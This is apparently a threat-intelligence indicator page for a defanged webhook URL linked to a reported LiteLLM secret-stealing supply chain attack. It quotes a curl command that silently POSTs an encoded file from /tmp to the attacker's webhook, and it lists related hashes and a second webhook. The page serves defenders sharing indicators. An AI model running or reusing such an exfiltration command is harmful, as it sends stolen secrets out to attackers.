hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37URL
Reported by 1 independent source · first reported by Socket · last reported
Last reported yesterday
What the reports say
1 report, newest first · the exact sentence from each-
New Evidence Shows LiteLLM Secret-Stealing Workflows Ran 11 Days Before Supply Chain Attack“curl -m 25 -s -X POST "hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37" -H 'Content-Type: text/plain' -H 'X-Tag: lm1' --data-binary @/tmp/c.b64 || true”
Indicators reported together
named in the same reports- b69bc36fd4e23b23…2b07258f5044in 1 report
- 1a6e3c1e41f1b5c8…cd95390fa891in 1 report
- hxxps://webhook[.]site/4da03473-a3e7-4dc2-a087-9c564b4208e1in 1 report
Copy these 3 indicators · defanged
Thanks — we review every report.